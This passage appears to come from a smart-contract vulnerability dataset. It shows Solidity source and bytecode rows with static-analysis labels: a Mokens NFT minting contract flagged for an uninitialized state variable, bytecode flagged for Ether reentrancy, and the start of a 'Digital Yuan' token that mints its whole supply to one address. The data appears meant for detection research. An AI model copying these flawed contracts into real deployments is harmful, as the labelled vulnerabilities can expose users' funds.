6109d1565b34801561057f57600080fd5b506102c161058e366004611bf1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c557600080fd5b506101fc6105d4366004611b22565b610a72565b3480156105e557600080fd5b506101fc6105f4366004611ada565b610aa1565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c2a565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c5f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c8b565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b60006106bc848484610caf565b61070e843361070985604051806060016040528060288152602001611da3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611c2a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161062390611c2a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e057506013546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f381611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161062390611c2a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611c2a565b601655565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062390611c2a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161062390611c2a565b601855565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161062390611c2a565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6012546001600160a01b0316336001600160a01b031614806109b257506013546001600160a01b0316336001600160a01b0316145b6109bb57600080fd5b60006109c6306107f6565b90506107f3816112e3565b6000546001600160a01b031633146109fb5760405162461bcd60e51b815260040161062390611c2a565b60005b82811015610a6c578160056000868685818110610a1d57610a1d611c5f565b9050602002016020810190610a329190611ada565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6481611c8b565b9150506109fe565b50505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b815260040161062390611c2a565b601755565b6000546001600160a01b03163314610acb5760405162461bcd60e51b815260040161062390611c2a565b6001600160a01b038116610b305760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa846107f6565b610fb49190611ca4565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b6000611018306107f6565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b03831660009081526005602052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a6c8484848461145d565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a18565b50600061121c8486611cbc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061148b565b90506112dc83826114ae565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c5f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611384573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a89190611cd3565b816001815181106113bb576113bb611c5f565b6001600160a01b0392831660209182029290920101526014546113e19130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141a908590600090869030904290600401611cf0565b600060405180830381600087803b15801561143457600080fd5b505af1158015611448573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146a5761146a6114f0565b61147584848461151e565b80610a6c57610a6c600e54600c55600f54600d55565b6000806000611498611615565b90925090506114a782826114ae565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611657565b600c541580156115005750600d54155b1561150757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153087611685565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156290876116e2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115919086611724565b6001600160a01b0389166000908152600260205260409020556115b381611783565b6115bd84836117cd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160291815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061163182826114ae565b82101561164e57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116785760405162461bcd60e51b81526004016106239190611a18565b50600061121c8486611d61565b60008060008060008060008060006116a28a600c54600d546117f1565b92509250925060006116b261148b565b905060008060006116c58e878787611846565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b6000806117318385611ca4565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b600061178d61148b565b9050600061179b8383611896565b306000908152600260205260409020549091506117b89082611724565b30600090815260026020526040902055505050565b6006546117da90836116e2565b6006556007546117ea9082611724565b6007555050565b600080808061180b60646118058989611896565b906114ae565b9050600061181e60646118058a89611896565b90506000611836826118308b866116e2565b906116e2565b9992985090965090945050505050565b60008080806118558886611896565b905060006118638887611896565b905060006118718888611896565b905060006118838261183086866116e2565b939b939a50919850919650505050505050565b6000826000036118a8575060006106a9565b60006118b48385611d83565b9050826118c18583611d61565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b803561194e8161192e565b919050565b6000602080838503121561196657600080fd5b823567ffffffffffffffff8082111561197e57600080fd5b818501915085601f83011261199257600080fd5b8135818111156119a4576119a4611918565b8060051b604051601f19603f830116810181811085821117156119c9576119c9611918565b6040529182528482019250838101850191888311156119e757600080fd5b938501935b82851015611a0c576119fd85611943565b845293850193928501926119ec565b98975050505050505050565b600060208083528351808285015260005b81811015611a4557858101830151858201604001528201611a29565b81811115611a57576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8057600080fd5b8235611a8b8161192e565b946020939093013593505050565b600080600060608486031215611aae57600080fd5b8335611ab98161192e565b92506020840135611ac98161192e565b929592945050506040919091013590565b600060208284031215611aec57600080fd5b81356112dc8161192e565b8035801515811461194e57600080fd5b600060208284031215611b1957600080fd5b6112dc82611af7565b600060208284031215611b3457600080fd5b5035919050565b60008060008060808587031215611b5157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8257600080fd5b833567ffffffffffffffff80821115611b9a57600080fd5b818601915086601f830112611bae57600080fd5b813581811115611bbd57600080fd5b8760208260051b8501011115611bd257600080fd5b602092830195509350611be89186019050611af7565b90509250925092565b60008060408385031215611c0457600080fd5b8235611c0f8161192e565b91506020830135611c1f8161192e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c9d57611c9d611c75565b5060010190565b60008219821115611cb757611cb7611c75565b500190565b600082821015611cce57611cce611c75565b500390565b600060208284031215611ce557600080fd5b81516112dc8161192e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d405784516001600160a01b031683529383019391830191600101611d1b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9d57611d9d611c75565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a445bc87fe2fafdb84eb84b2c7268730ee15ab2ed5cd108621b0367454ea2f2e64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 984 |
0x3e1d30dbf0e6dc56ad286400ef8c6ba16e0f0f5f | pragma solidity 0.4.24;
pragma experimental "v0.5.0";
/******************************************************************************\
* Author: Nick Mudge, <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="741a1d171f34191b1f111a075a1d1b">[email protected]</a>
* Mokens
* Copyright (c) 2018
*
* Minting functions and mint price functions.
/******************************************************************************/
///////////////////////////////////////////////////////////////////////////////////
//Storage contracts
////////////
//Some delegate contracts are listed with storage contracts they inherit.
///////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////
//Mokens
///////////////////////////////////////////////////////////////////////////////////
contract Storage0 {
// funcId => delegate contract
mapping(bytes4 => address) internal delegates;
}
///////////////////////////////////////////////////////////////////////////////////
//MokenUpdates
//MokenOwner
//QueryMokenDelegates
///////////////////////////////////////////////////////////////////////////////////
contract Storage1 is Storage0 {
address internal contractOwner;
bytes[] internal funcSignatures;
// signature => index+1
mapping(bytes => uint256) internal funcSignatureToIndex;
}
///////////////////////////////////////////////////////////////////////////////////
//MokensSupportsInterfaces
///////////////////////////////////////////////////////////////////////////////////
contract Storage2 is Storage1 {
mapping(bytes4 => bool) internal supportedInterfaces;
}
///////////////////////////////////////////////////////////////////////////////////
//MokenRootOwnerOf
//MokenERC721Metadata
///////////////////////////////////////////////////////////////////////////////////
contract Storage3 is Storage2 {
struct Moken {
string name;
uint256 data;
uint256 parentTokenId;
}
//tokenId => moken
mapping(uint256 => Moken) internal mokens;
uint256 internal mokensLength;
// child address => child tokenId => tokenId+1
mapping(address => mapping(uint256 => uint256)) internal childTokenOwner;
}
///////////////////////////////////////////////////////////////////////////////////
//MokenERC721Enumerable
//MokenLinkHash
///////////////////////////////////////////////////////////////////////////////////
contract Storage4 is Storage3 {
// root token owner address => (tokenId => approved address)
mapping(address => mapping(uint256 => address)) internal rootOwnerAndTokenIdToApprovedAddress;
// token owner => (operator address => bool)
mapping(address => mapping(address => bool)) internal tokenOwnerToOperators;
// Mapping from owner to list of owned token IDs
mapping(address => uint32[]) internal ownedTokens;
}
///////////////////////////////////////////////////////////////////////////////////
//MokenERC998ERC721TopDown
//MokenERC998ERC721TopDownBatch
//MokenERC721
//MokenERC721Batch
///////////////////////////////////////////////////////////////////////////////////
contract Storage5 is Storage4 {
// tokenId => (child address => array of child tokens)
mapping(uint256 => mapping(address => uint256[])) internal childTokens;
// tokenId => (child address => (child token => child index)
mapping(uint256 => mapping(address => mapping(uint256 => uint256))) internal childTokenIndex;
// tokenId => (child address => contract index)
mapping(uint256 => mapping(address => uint256)) internal childContractIndex;
// tokenId => child contract
mapping(uint256 => address[]) internal childContracts;
}
///////////////////////////////////////////////////////////////////////////////////
//MokenERC998ERC20TopDown
//MokenStateChange
///////////////////////////////////////////////////////////////////////////////////
contract Storage6 is Storage5 {
// tokenId => token contract
mapping(uint256 => address[]) internal erc20Contracts;
// tokenId => (token contract => token contract index)
mapping(uint256 => mapping(address => uint256)) erc20ContractIndex;
// tokenId => (token contract => balance)
mapping(uint256 => mapping(address => uint256)) internal erc20Balances;
}
///////////////////////////////////////////////////////////////////////////////////
//MokenERC998ERC721BottomUp
//MokenERC998ERC721BottomUpBatch
///////////////////////////////////////////////////////////////////////////////////
contract Storage7 is Storage6 {
// parent address => (parent tokenId => array of child tokenIds)
mapping(address => mapping(uint256 => uint32[])) internal parentToChildTokenIds;
// tokenId => position in childTokens array
mapping(uint256 => uint256) internal tokenIdToChildTokenIdsIndex;
}
///////////////////////////////////////////////////////////////////////////////////
//MokenMinting
//MokenMintContractManagement
//MokenEras
//QueryMokenData
///////////////////////////////////////////////////////////////////////////////////
contract Storage8 is Storage7 {
// index => era
mapping(uint256 => bytes32) internal eras;
uint256 internal eraLength;
// era => index+1
mapping(bytes32 => uint256) internal eraIndex;
uint256 internal mintPriceOffset; // = 0 szabo;
uint256 internal mintStepPrice; // = 500 szabo;
uint256 internal mintPriceBuffer; // = 5000 szabo;
address[] internal mintContracts;
mapping(address => uint256) internal mintContractIndex;
//moken name => tokenId+1
mapping(string => uint256) internal tokenByName_;
}
contract MokenMintingOneFree is Storage8 {
uint256 constant MAX_MOKENS = 4294967296;
uint256 constant MAX_OWNER_MOKENS = 65536;
uint256 constant MOKEN_LINK_HASH_MASK = 0xffffffffffffffff000000000000000000000000000000000000000000000000;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Mint(
address indexed mintContract,
address indexed owner,
bytes32 indexed era,
string mokenName,
bytes32 data,
uint256 tokenId,
bytes32 currencyName,
uint256 price
);
event MintPriceChange(
uint256 mintPrice
);
event MintPriceConfigurationChange(
uint256 mintPrice,
uint256 mintStepPrice,
uint256 mintPriceOffset,
uint256 mintPriceBuffer
);
event NewEra(
uint256 index,
bytes32 name,
uint256 startTokenId
);
function setMintPrice(uint256 _mintPrice) external returns (uint256 mintPrice) {
require(msg.sender == contractOwner, "Must own Mokens contract.");
mintPriceBuffer = _mintPrice;
mintStepPrice = 0;
mintPriceOffset = 0;
emit MintPriceConfigurationChange(_mintPrice, 0, 0, 0);
emit MintPriceChange(_mintPrice);
return _mintPrice;
}
function startNextEra_(bytes32 _eraName) internal returns (uint256 index, uint256 startTokenId) {
require(_eraName != 0, "eraName is empty string.");
require(eraIndex[_eraName] == 0, "Era name already exists.");
startTokenId = mokensLength;
index = eraLength++;
eras[index] = _eraName;
eraIndex[_eraName] = index + 1;
emit NewEra(index, _eraName, startTokenId);
return (index, startTokenId);
}
// It is predicted that often a new era comes with a mint price change
function startNextEra(bytes32 _eraName, uint256 _mintPrice) external
returns (uint256 index, uint256 startTokenId, uint256 mintPrice) {
require(msg.sender == contractOwner, "Must own Mokens contract.");
mintPriceBuffer = _mintPrice;
mintStepPrice = 0;
mintPriceOffset = 0;
emit MintPriceConfigurationChange(_mintPrice, 0, 0, 0);
emit MintPriceChange(_mintPrice);
(index, startTokenId) = startNextEra_(_eraName);
return (index, startTokenId, _mintPrice);
}
function mintData() external view returns (uint256 mokensLength_, uint256 mintStepPrice_, uint256 mintPriceOffset_) {
return (mokensLength, 0, 0);
}
function mintPrice() external view returns (uint256) {
return mintPriceBuffer;
}
function mint(address _tokenOwner, string _mokenName, bytes32 _linkHash) external payable returns (uint256 tokenId) {
require(_tokenOwner != address(0), "Owner cannot be the 0 address.");
tokenId = mokensLength++;
// prevents 32 bit overflow
require(tokenId < MAX_MOKENS, "Only 4,294,967,296 mokens can be created.");
//Was enough ether passed in?
uint256 currentMintPrice = mintPriceBuffer;
uint256 ownedTokensIndex = ownedTokens[_tokenOwner].length;
uint256 pricePaid;
if(ownedTokensIndex == 0) {
pricePaid = 0;
}
else {
pricePaid = currentMintPrice;
require(msg.value >= currentMintPrice, "Paid ether is lower than mint price.");
}
string memory lowerMokenName = validateAndLower(_mokenName);
require(tokenByName_[lowerMokenName] == 0, "Moken name already exists.");
uint256 eraIndex_ = eraLength - 1;
// prevents 16 bit overflow
require(ownedTokensIndex < MAX_OWNER_MOKENS, "An single owner address cannot possess more than 65,536 mokens.");
// adding the current era index, ownedTokenIndex and owner address to data
// this saves gas for each mint.
uint256 data = uint256(_linkHash) & MOKEN_LINK_HASH_MASK | eraIndex_ << 176 | ownedTokensIndex << 160 | uint160(_tokenOwner);
// create moken
mokens[tokenId].name = _mokenName;
mokens[tokenId].data = data;
tokenByName_[lowerMokenName] = tokenId + 1;
//add moken to the specific owner
ownedTokens[_tokenOwner].push(uint32(tokenId));
//emit events
emit Transfer(address(0), _tokenOwner, tokenId);
emit Mint(this, _tokenOwner, eras[eraIndex_], _mokenName, bytes32(data), tokenId, "Ether", pricePaid);
//send minter the change if any
if (msg.value > pricePaid) {
msg.sender.transfer(msg.value - pricePaid);
}
return tokenId;
}
function validateAndLower(string _s) internal pure returns (string mokenName) {
assembly {
// get length of _s
let len := mload(_s)
// get position of _s
let p := add(_s, 0x20)
// _s cannot be 0 characters
if eq(len, 0) {
revert(0, 0)
}
// _s cannot be more than 100 characters
if gt(len, 100) {
revert(0, 0)
}
// get first character
let b := byte(0, mload(add(_s, 0x20)))
// first character cannot be whitespace/unprintable
if lt(b, 0x21) {
revert(0, 0)
}
// get last character
b := byte(0, mload(add(p, sub(len, 1))))
// last character cannot be whitespace/unprintable
if lt(b, 0x21) {
revert(0, 0)
}
// loop through _s and lowercase uppercase characters
for {let end := add(p, len)}
lt(p, end)
{p := add(p, 1)}
{
b := byte(0, mload(p))
if lt(b, 0x5b) {
if gt(b, 0x40) {
mstore8(p, add(b, 32))
}
}
}
}
return _s;
}
} | 0x60806040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416635195e8c581146100715780636817c76c146100a4578063afca4200146100cb578063d34047b6146100e6578063f4a0a52814610116575b600080fd5b34801561007d57600080fd5b5061008661012e565b60408051938452602084019290925282820152519081900360600190f35b3480156100b057600080fd5b506100b9610139565b60408051918252519081900360200190f35b3480156100d757600080fd5b50610086600435602435610140565b6100b96004803573ffffffffffffffffffffffffffffffffffffffff16906024803590810191013560443561026c565b34801561012257600080fd5b506100b960043561091e565b600654600080909192565b6019545b90565b6001546000908190819073ffffffffffffffffffffffffffffffffffffffff1633146101cd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4d757374206f776e204d6f6b656e7320636f6e74726163742e00000000000000604482015290519081900360640190fd5b601984905560006018819055601781905560408051868152602081018390528082018390526060810192909252517fe7fa8322b6a3ac980f1f181bb0260c5378e54c9c94765e0fd3101dc96d0383b29181900360800190a16040805185815290517fc748a3ddfde710af4b11e2cce12c9480b1e5c5687ac98250bc6a5e70d90076189181900360200190a161026185610a36565b909690955092505050565b60008080806060818073ffffffffffffffffffffffffffffffffffffffff8b1615156102f957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4f776e65722063616e6e6f7420626520746865203020616464726573732e0000604482015290519081900360640190fd5b60068054600181019091559650640100000000871061039f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4f6e6c7920342c3239342c3936372c323936206d6f6b656e732063616e20626560448201527f20637265617465642e0000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60195473ffffffffffffffffffffffffffffffffffffffff8c166000908152600a602052604090205490965094508415156103dd5760009350610474565b8593503484111561047457604080517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f50616964206574686572206973206c6f776572207468616e206d696e7420707260448201527f6963652e00000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6104ad8a8a8080601f01602080910402602001604051908101604052809392919081815260200183838082843750610b9b945050505050565b9250601c836040518082805190602001908083835b602083106104e15780518252601f1990920191602091820191016104c2565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092205415915061057d905057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4d6f6b656e206e616d6520616c7265616479206578697374732e000000000000604482015290519081900360640190fd5b60155460001901915062010000851061061d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603f60248201527f416e2073696e676c65206f776e657220616464726573732063616e6e6f74207060448201527f6f7373657373206d6f7265207468616e2036352c353336206d6f6b656e732e00606482015290519081900360840190fd5b5060008681526005602052604090207fffffffffffffffff00000000000000000000000000000000000000000000000088167601000000000000000000000000000000000000000000008302177401000000000000000000000000000000000000000086021773ffffffffffffffffffffffffffffffffffffffff8c1617906106a7908b8b610c30565b5080600560008981526020019081526020016000206001018190555086600101601c846040518082805190602001908083835b602083106106f95780518252601f1990920191602091820191016106da565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902081905550600a60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002087908060018154018082558091505090600182039060005260206000209060089182820401919006600402909192909190916101000a81548163ffffffff021916908363ffffffff16021790555050868b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46000828152601460209081526040918290205482519182018490529181018990527f457468657200000000000000000000000000000000000000000000000000000060608201526080810186905260a080825281018b905273ffffffffffffffffffffffffffffffffffffffff8d169030907f4f5deb80fdeba40173210414430f34a873aa31bd90b2e16d5ef16390381f6a3f908e908e9087908e908c908060c0810187878082843760405192018290039850909650505050505050a4833411156109105760405133903486900380156108fc02916000818181858888f1935050505015801561090e573d6000803e3d6000fd5b505b505050505050949350505050565b60015460009073ffffffffffffffffffffffffffffffffffffffff1633146109a757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4d757374206f776e204d6f6b656e7320636f6e74726163742e00000000000000604482015290519081900360640190fd5b601982905560006018819055601781905560408051848152602081018390528082018390526060810192909252517fe7fa8322b6a3ac980f1f181bb0260c5378e54c9c94765e0fd3101dc96d0383b29181900360800190a16040805183815290517fc748a3ddfde710af4b11e2cce12c9480b1e5c5687ac98250bc6a5e70d90076189181900360200190a15090565b600080821515610aa757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f6572614e616d6520697320656d70747920737472696e672e0000000000000000604482015290519081900360640190fd5b60008381526016602052604090205415610b2257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f457261206e616d6520616c7265616479206578697374732e0000000000000000604482015290519081900360640190fd5b505060065460158054600181019182905560008181526014602090815260408083208790558683526016825291829020939093558051828152928301859052828101849052519092917fdbca81c89f24217329d3998206c76a66dccc45fb18789e6b0bd64936c6d6b787919081900360600190a1915091565b60608151602083016000821415610bb157600080fd5b6064821115610bbf57600080fd5b602084015160001a6021811015610bd557600080fd5b50808201600019015160001a6021811015610bef57600080fd5b8282015b80831015610c2657825160001a9150605b821015610c1b576040821115610c1b576020820183535b600183019250610bf3565b5093949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610c715782800160ff19823516178555610c9e565b82800160010185558215610c9e579182015b82811115610c9e578235825591602001919060010190610c83565b50610caa929150610cae565b5090565b61013d91905b80821115610caa5760008155600101610cb45600a165627a7a723058202d3420e64ac8669d068f6adecaedf72167113f20e51773d660d4d837356e922e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}} | 985 |
0x06f12925bda57c3f7b93ff27de94c134c30d23ad | /**
*Submitted for verification at Etherscan.io on 2021-04-15
*/
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
// ----------------------------------------------------------------------------
//
// Symbol : ECNY
// Name : Digital Yuan
// Total supply : 400000000
// Decimals : 18
// Owner Account : 0x39499268fBf19a1130393E210C2db08d39ba6a85
//
// ----------------------------------------------------------------------------
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract DigitalYuan is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private owner1=0x39499268fBf19a1130393E210C2db08d39ba6a85;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = 'Digital Yuan';
_symbol = 'ECNY';
_totalSupply= 400000000 *(10**decimals());
//transfer total supply to owner
_balances[owner1]=_totalSupply;
emit Transfer(address(0),owner1, _balances[owner1]);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
